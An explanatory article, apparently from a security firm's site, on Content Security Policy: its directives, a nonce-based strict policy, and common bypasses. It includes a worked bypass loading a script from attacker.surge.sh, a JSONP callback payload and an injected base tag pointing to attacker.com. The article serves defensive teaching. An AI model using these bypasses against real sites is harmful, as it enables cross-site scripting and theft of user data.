Status DataClose notification

What Is Content Security Policy (CSP)?

Short Definition

Content Security Policy (CSP) is a browser security standard that lets a website declare which sources of scripts, styles, images, frames, and other resources a page may load. The site sends the policy in the Content-Security-Policy HTTP response header. The browser then blocks anything the policy doesn't allow.

In cybersecurity, CSP is a defense-in-depth control against cross-site scripting (XSS) and other content injection attacks. It doesn't remove the injection bug. It limits what an attacker can do with it.

Expanded Explanation

A CSP is a list of directives, and each one controls one resource type. Without a policy, a browser runs any script the page includes, even one an attacker injected through a form field or URL parameter. With a policy, the browser checks every script, stylesheet, image, and connection against an allowlist before loading it.

How CSP is delivered

Most sites send the policy as an HTTP response header, usually set in the web server, CDN, or application config:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src 'self' data:

A page can also declare a policy in a <meta http-equiv="Content-Security-Policy"> tag. The meta version doesn't support frame-ancestors, sandbox, or reporting, so the header is the preferred option.

Key CSP directives

Directive What it controls

default-src

Fallback for any fetch directive that isn't set

script-src

Where JavaScript can load from and whether inline scripts can run

style-src

Stylesheets and inline styles

img-src

Images

connect-src

Fetch, XHR and WebSocket requests, the usual data exfiltration channel

frame-src

What the page can embed in iframes

frame-ancestors

Which sites can embed this page (anti-clickjacking)

object-src

Plugins such as <object> and <embed>

base-uri

What the <base> tag can point to

form-action

Where forms can submit data

report-to

Where the browser sends violation reports

Source values you'll see in a policy

  • 'self': the page's own origin.
  • 'none': nothing is allowed.
  • Host sources such as https://cdn.example.com or *.example.com: allowlisted domains.
  • 'nonce-<random>' and 'sha256-<hash>': allow specific inline or external scripts that carry a matching nonce or hash.
  • 'strict-dynamic': trusts scripts loaded by an already-trusted script and ignores host allowlists.
  • 'unsafe-inline' and 'unsafe-eval': allow inline scripts and eval(). Both weaken the policy against XSS.

CSP doesn't fix the underlying injection flaw. If attacker-controlled HTML reaches the page, the bug still exists. CSP decides whether that HTML can turn into running code.

Use Cases

CSP is used wherever a single injected script could leak user data or take actions on a user's behalf.

  • Reducing XSS impact. A strict script-src stops injected inline scripts and scripts from unknown domains from running, even when an input field isn't sanitized.
  • Preventing clickjacking. frame-ancestors 'none' or frame-ancestors 'self' stops other sites from loading your pages in an invisible iframe. It replaces the older X-Frame-Options header.
  • Locking down payment pages. PCI DSS v4.0.1 Requirement 6.4.3 requires merchants to authorize every script on a payment page, and became mandatory on 31 March 2025 (Report URI). CSP is the most common way to meet the authorization part (Report URI docs).
  • Protecting Web3 frontends. On exchange dashboards and dApp interfaces, an injected script can swap a deposit address or trigger a malicious wallet approval. A tight script-src and connect-src limit where that code can load from and where it can send data.
  • Limiting data exfiltration. connect-src, img-src, and form-action control where a page can send requests, which makes it harder to ship stolen tokens to an attacker's server.
  • Monitoring third-party scripts. Violation reports show when a tag manager, analytics script, or compromised dependency tries to load something new.

Content Security Policy Best Practices

The strongest policies avoid domain allowlists and trust scripts by nonce or hash instead. Google researchers analyzed 26,011 unique policies across 1.68 million hosts and found bypasses in 94.72% of them, mostly because of allowlists (Google Research, 2016).

Use a nonce-based strict policy. Generate a fresh random nonce for every response, add it to each legitimate <script> tag, and combine it with 'strict-dynamic':

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'self';
  form-action 'self';
  report-to csp-endpoint

Use hashes for static pages. If pages are cached or served statically, allow inline scripts by their sha256 hash instead of a nonce.

Remove 'unsafe-inline' and 'unsafe-eval' from script-src. Move inline event handlers (onclick=) and javascript: links into external code.

Avoid broad host allowlists. Wildcards such as *.cloudflare.com and public CDNs that host any library let attackers load their own code from an "approved" domain.

Always set object-src 'none' and base-uri 'none' (or 'self'). default-src doesn't cover base-uri, so it must be set explicitly.

Roll out with Content-Security-Policy-Report-Only first. This header reports violations without blocking anything. Fix what breaks, then switch to the enforcing header.

Add Trusted Types where supported. require-trusted-types-for 'script' blocks unsafe writes to DOM sinks such as innerHTML, the main source of DOM-based XSS.

Pair CSP with Subresource Integrity (SRI) for third-party scripts, so a modified file fails to load even from an allowed host.

Test the policy against real attackers. Automated evaluators catch obvious gaps. Researchers in a bug bounty program or a penetration test find the allowlisted gadget or upload endpoint that turns an HTML injection into working XSS.

How It Works: Step-by-Step

The browser enforces CSP on every page load. The server only declares the rules.

  1. The server returns the page with a Content-Security-Policy header.
  2. The browser parses the policy and builds a list of allowed sources for each resource type.
  3. Before loading any script, style, image, frame, or connection, the browser checks it against the matching directive. If that directive isn't set, it falls back to default-src.
  4. Inline scripts, inline event handlers, and javascript: URLs are blocked by default once script-src or default-src is set. They run only with a matching nonce or hash, or with 'unsafe-inline'.
  5. Anything that fails the check is blocked and logged in the browser console. If report-to is set, the browser also sends a violation report.

Worked example: an allowlist that lets attackers in

This example comes from research by HackenProof security analyst Mykhailo Stepanov. The test page has a comment form that reflects HTML without sanitizing it, and sends a policy like this:

Content-Security-Policy: script-src 'self' https://*.surge.sh https://*.cloudflare.com
  1. Confirm the injection. Submitting <b>test</b> as a comment renders bold text, so HTML reaches the page unescaped.
  2. Try an inline script. The payload <script>console.log(1)</script> doesn't run. The browser blocks it because the policy has no 'unsafe-inline', nonce, or hash. The domain allowlist has nothing to do with it.
  3. Read the policy. The header allows scripts from any surge.sh subdomain. Surge is a free static hosting service, so anyone can publish files there.
  4. Host the payload on an allowed domain. The attacker deploys payload.js to their own subdomain, such as attacker.surge.sh.
  5. Load it as an external script. This payload executes because the host matches the allowlist:
<script src="https://attacker.surge.sh/payload.js"></script>

In a real attack, payload.js wouldn't just log to the console. It could read non-HttpOnly cookies, call APIs as the logged-in user, or rewrite a wallet address on the page. The fix is to remove *.surge.sh and the broad Cloudflare wildcard and switch to the nonce-based policy above.

Common CSP Bypasses

Bypass Policy weakness How attackers use it Remove it; use nonces or hashes

'unsafe-inline' in script-src

Inline scripts are allowed

Any injected <script> or onerror= handler runs, so CSP gives no XSS protection

Remove it; use nonces or hashes

Allowlisted host with user content

Domains such as free hosting, *.cloudflare.com, or GitHub Pages are trusted

Attacker uploads a script to the allowed domain and loads it (the worked example above)

Drop broad hosts; use 'strict-dynamic' with nonces

JSONP endpoint on an allowed host

An allowed API returns JavaScript wrapped in a caller-chosen callback

<script src="https://allowed.com/api?callback=alert(1)//"> runs attacker code

Remove the host or the JSONP endpoint

Old library on an allowed CDN

A public CDN such as cdnjs is trusted

Attacker loads an old AngularJS version and runs code through template expressions

Don't allowlist public CDNs; self-host pinned versions with SRI

File upload on 'self'

Users can upload files served from the same origin

Attacker uploads a .js file and loads it with script-src 'self'

Serve uploads from a separate domain with Content-Type and nosniff set

Missing base-uri

<base> tag isn't restricted

Injected <base href="https://attacker.com/"> makes relative script paths load from the attacker, even with nonces

Set base-uri 'none' or 'self'

Static or reused nonce

The nonce never changes or is cached

Attacker copies the nonce from page source into their payload

Generate a new random nonce on every response

Missing connect-src / form-action

Only scripts are restricted

HTML-only injection (dangling markup, forms) still sends data to the attacker

Restrict where the page can send requests and forms

A bypass usually turns a low-severity HTML injection into a full XSS. That's why researchers report the injection point and the bypass chain together.

Conclusion

A Content Security Policy is only as strong as its weakest directive. A policy that allows 'unsafe-inline', trusts public hosting domains or skips base-uri can look secure in a scanner and still fall to one injected tag. Nonces, 'strict-dynamic' and a Report-Only rollout give real protection without breaking the site.

CSP is still a second layer, so the injection points behind it need to be found and fixed. HackenProof's penetration testing services and bug bounty programs put researchers on your web apps and Web3 frontends to find the injection points and bypass chains automated tools miss.